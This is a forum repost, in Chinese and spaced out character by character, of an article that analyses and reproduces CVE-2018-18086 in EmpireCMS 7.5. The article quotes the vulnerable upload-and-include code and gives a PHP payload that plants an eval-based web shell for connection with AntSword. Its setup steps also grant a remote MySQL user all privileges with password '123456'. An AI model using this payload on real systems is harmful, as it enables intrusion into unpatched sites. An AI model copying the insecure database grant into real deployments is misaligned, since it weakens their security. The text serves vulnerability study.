搜索

[18589] 2021-07-02_Web安全EmpireCMS漏洞常见漏洞分析及复现

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2021-07-02_Web安全EmpireCMS漏洞常见漏洞分析及复现 W e b 安 全   |   E m p i r e C M S 漏 洞 常 见 漏 洞 分 析 及 复 现 c k i n   H A C K 学 习 呀   2 0 2 1 - 0 7 - 0 2 前 言 前 言 本 文 将 对 E m p i r e C M S ( 帝 国 c m s ) 的 漏 洞 进 行 分 析 及 复 现 。 代 码 分 析 这 一 块 主 要 还 是 借 鉴 了 大 佬 们 的 一 些 分 析 思 想 ， 这 里 对 大 佬 们 提 供 的 思 路 表 示 衷 心 的 感 谢 。 环 境 搭 建 环 境 搭 建 帝 国 c m s 的 默 认 安 装 路 径 为 h t t p : / / l o c a l h o s t / e / i n s t a l l ， 进 入 安 装 一 直 往 下
到 连 接 数 据 库 这 一 步 ， m y s q l 版 本 可 以 选 择 自 动 识 别 ， 也 可 以 自 己 选 择 相 应 版 本 ， 这 里 数 据 库 如 果 在 本 地 就 填 写 l o c a l h o s t （ 1 2 7 . 0 . 0 . 1 ） 。 这 里 也 可 以 选 择 远 程 连 接 v p s 的 服 务 器 ， 但 是 前 提 是 v p s 上 的 数 据 库 开 启 了 远 程 连 接 首 先 找 到
找 到 b i n d - a d d r e s s   =   1 2 7 . 0 . 0 . 1 这 一 行 注 释 掉 （ 此 处 没 有 也 可 以 忽 略 ） 然 后 新 建 一 个 a d m i n 用 户 允 许 远 程 登 录 并 立 即 应 用 配 置 即 可 点 击 下 一 步 就 会 自 动 在 数 据 库 生 成 一 个 e m p i r e c m s 的 数 据 库 并 在 其 中 建 立 许 多 个 表 / e t c / m y s q l / m y . c o n f g r a n t   a l l   o n   * . *   t o   a d m i n @ ' % '   i d e n t i f i e d   b y   ' 1 2 3 4 5 6 '   w i t h   g r a n t   o p t i o n ; f l u s h   p r i v i l e g e s ;
然 后 再 设 置 进 入 后 台 管 理 员 的 密 码
下 一 步 即 可 安 装 完 成 ， 这 里 提 示 要 删 除 路 径 避 免 被 再 次 安 装 ， 但 是 这 个 地 方 其 实 设 置 了 两 层 保 护 ， 即 使 你 访 问 i n s t a l l 这 个 路 径 会 有 一 个 . o f f 文 件 在 路 径 下 ， 需 要 将 这 个 . o f f 文 件 删 除 后 才 能 再 次 安 装
输 入 设 置 的 后 台 管 理 员 用 户 名 和 密 码 即 可 进 入 管 理 员 后 台 漏 洞 原 理 及 复 现 漏 洞 原 理 及 复 现 后 台 后 台 g e t s h e l l ( C V E - 2 0 1 8 - 1 8 0 8 6 ) 漏 洞 原 理 漏 洞 原 理 E m p i r e C M S   7 . 5 版 本 及 之 前 版 本 在 后 台 备 份 数 据 库 时 , 未 对 数 据 库 表 名 做 验 证 , 通 过 修 改 数 据 库 表 名 可 以 实 现 任 意 代 码 执 行 。 E m p i r e C M S 7 . 5 版 本 中 的 / e / c l a s s / m o d d o f u n . p h p 文 件 的 ” L o a d I n M o d ” 函 数 存 在 安 全 漏 洞 , 攻 击 者 可 利 用 该 漏 洞 上 传 任 意 文 件 。 源 码 分 析 源 码 分 析
主 要 漏 洞 代 码 位 置 / / 导 入 模 型 转 到 L o a d I n M o d 定 义 在 l o c a l h o s t / E m p i r e C M S / e / c l a s s / m o d d o f u n . p h p 找 到 上 传 文 件 的 定 义 文 件 包 含 上 传 文 件 处 使 用 t i m e ( ) . m a k e p a s s w o r d ( 1 0 ) 进 行 加 密 文 件 名 下 方 代 码 @ i n c l u d e ( $ p a t h ) 直 接 包 含 文 件 ， 因 此 可 以 通 过 添 加 创 建 文 件 的 代 码 绕 过 。 漏 洞 复 现 漏 洞 复 现 / / 导 入 模 型 e l s e i f ( $ e n e w s = = " L o a d I n M o d " ) {         $ f i l e = $ _ F I L E S [ ' f i l e ' ] [ ' t m p _ n a m e ' ] ;         $ f i l e _ n a m e = $ _ F I L E S [ ' f i l e ' ] [ ' n a m e ' ] ;         $ f i l e _ t y p e = $ _ F I L E S [ ' f i l e ' ] [ ' t y p e ' ] ;         $ f i l e _ s i z e = $ _ F I L E S [ ' f i l e ' ] [ ' s i z e ' ] ;         L o a d I n M o d ( $ _ P O S T , $ f i l e , $ f i l e _ n a m e , $ f i l e _ t y p e , $ f i l e _ s i z e , $ l o g i n i n i d , $ l o g i n i n ) ; } / / 上 传 文 件         $ p a t h = E C M S _ P A T H . " e / d a t a / t m p / m o d / u p l o a d m " . t i m e ( ) . m a k e _ p a s s w o r d ( 1 0 ) . " . p h p " ;         $ c p = @ m o v e _ u p l o a d e d _ f i l e ( $ f i l e , $ p a t h ) ;         i f ( ! $ c p )         {                 p r i n t e r r o r ( " E m p t y L o a d I n M o d " , " " ) ;         }         D o C h m o d F i l e ( $ p a t h ) ;         @ i n c l u d e ( $ p a t h ) ;         U p d a t e T b D e f M o d ( $ t i d , $ t b n a m e , $ m i d ) ; / / 取 得 随 机 数 f u n c t i o n   m a k e _ p a s s w o r d ( $ p w _ l e n g t h ) {         $ l o w _ a s c i i _ b o u n d = 4 8 ;         $ u p p e r _ a s c i i _ b o u n d = 1 2 2 ;         $ n o t u s e = a r r a y ( 5 8 , 5 9 , 6 0 , 6 1 , 6 2 , 6 3 , 6 4 , 9 1 , 9 2 , 9 3 , 9 4 , 9 5 , 9 6 ) ;         w h i l e ( $ i < $ p w _ l e n g t h )         {                 i f ( P H P _ V E R S I O N < ' 4 . 2 . 0 ' )                 {                         m t _ s r a n d ( ( d o u b l e ) m i c r o t i m e ( ) * 1 0 0 0 0 0 0 ) ;                 }                 m t _ s r a n d ( ) ;                 $ r a n d n u m = m t _ r a n d ( $ l o w _ a s c i i _ b o u n d , $ u p p e r _ a s c i i _ b o u n d ) ;                 i f ( ! i n _ a r r a y ( $ r a n d n u m , $ n o t u s e ) )                 {                         $ p a s s w o r d 1 = $ p a s s w o r d 1 . c h r ( $ r a n d n u m ) ;                         $ i + + ;                 }         }         r e t u r n   $ p a s s w o r d 1 ; }
来 到 导 入 系 统 模 型 的 页 面 本 地 准 备 一 个 1 . p h p 并 改 名 为 1 . p h p . m o d ， 注 意 这 里 需 要 用 $ 进 行 转 义 ， 存 放 的 数 据 表 名 需 要 填 一 个 数 据 库 内 没 有 的 表 名 ， 点 击 上 传 < ? p h p   f i l e _ p u t _ c o n t e n t s ( " g e t s h e l l . p h p " , " < ? p h p   @ e v a l ( $ _ P O S T [ c m d ] ) ;   ? > " ) ; ? >
导 入 成 功 后 访 问 一 下 生 成 s h e l l 看 能 不 能 访 问 得 到 ， 没 有 报 错 是 可 以 访 问 到 的 ， 那 么 证 明 已 经 上 传 成 功 了
再 用 蚁 剑 连 接 即 可 几 个 实 战 中 遇 到 的 坑 几 个 实 战 中 遇 到 的 坑 1 . 有 w a f 报 错 5 0 0
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理